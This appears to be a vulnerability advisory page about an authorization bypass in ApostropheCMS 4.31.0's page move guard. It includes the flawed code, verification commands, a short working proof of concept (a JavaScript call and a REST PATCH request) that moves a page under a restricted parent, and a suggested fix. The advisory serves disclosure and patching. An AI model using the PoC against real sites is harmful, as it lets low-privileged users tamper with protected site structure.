ApostropheCMS Authorization Bypass, CVE-2025-50638 (Medium) -DC-Sep2026-2180

Listen to this Post

Intro

ApostropheCMS enforces per‑type authorization on pages through `editRole` and `publishRole` declarations. The `move()` operation is designed to ensure that a page can only be moved into a parent where the actor has create rights, mirroring the page‑insert route which fetches the target with .permission('create'). However a regression in the move authorization guard silently disabled this destination check for every normal move.
The broken guard in `packages/apostrophe/modules/@apostrophecms/page/index.js` at version 4.31.0 reads:

if (
(oldParent._id !== parent._id) &&
(parent.type !== '@apostrophecms/archive-page') &&
(!parent._create) &&
(oldParent.type === '@apostrophecms/archive-page' && !parent._edit)
) {
throw self.apos.error('forbidden');
}

Because the final `&&` clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move where the source page’s old parent is a normal page, that clause is false, the entire condition is false, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` — i.e. “can the actor edit the page being moved”, which a low‑privileged editor legitimately holds for their own ordinary pages.
The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unchecked `updateMany` that re‑ranks the restricted parent’s existing children. This is reachable directly from the documented `PATCH/PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker‑controlled `_targetId` and `_position` body fields. The target parent is fetched with permission filtering explicitly OFF, and `nudgeNewPeers()` re‑ranks with a raw DB write and no permission check. The regression was introduced in commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` (“allow restore pages”) and remains unfixed at HEAD.

DailyCVE Form:

Platform: ApostropheCMS
Version: 4.31.0
Vulnerability: Authorization Bypass
Severity: Medium
date: 2026-09-04

Prediction: Patch within days

What Undercode Say:

Check installed version
cd /path/to/apostrophe-project
node -e "console.log(require('./package.json').dependencies['apostrophe'])"
Inspect broken guard
grep -A5 "oldParent._id !== parent._id" \
node_modules/apostrophe/modules/@apostrophecms/page/index.js
Test with mocha (requires Docker + MongoDB)
docker run -d --name apos-mongo -p 27017:27017 mongo:7
git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe
cd /tmp/dh-apostrophe && git checkout 68f1312d3
pnpm install --filter apostrophe
npx mocha packages/apostrophe/test/poc-move-bac.js
Check if vulnerable condition exists
node -e "const fs=require('fs'); \
const code=fs.readFileSync('node_modules/apostrophe/modules/@apostrophecms/page/index.js','utf8'); \
console.log(code.includes('oldParent.type === \'@apostrophecms/archive-page\''))"

Exploit:

// PoC – attacker moves owned page under admin‑only section
const editorReq = apos.task.getReq({ role: 'editor' });
const myPage = await apos.page.find(editorReq, { slug: '/mine' }).toObject();
const secretSection = await apos.page.find(adminReq, { slug: '/secret' }).toObject();
await apos.page.move(editorReq, myPage._id, secretSection._id, 'firstChild');
PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft HTTP/1.1
Content-Type: application/json
Authorization: Bearer <editor_token>
{
"_targetId": "<restrictedSectionId>:en:draft",
"_position": "firstChild"
}

Protection:

// Replace broken guard with this logic
if (
(oldParent._id !== parent._id) &&
(parent.type !== '@apostrophecms/archive-page') &&
(!parent._create) &&
!(oldParent.type === '@apostrophecms/archive-page' && parent._edit)
) {
throw self.apos.error('forbidden');
}

Impact:

Unauthorized relocation of content into role‑gated branches and re‑ranking of protected sibling pages. Integrity violation affecting site structure. No confidentiality or availability impact.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top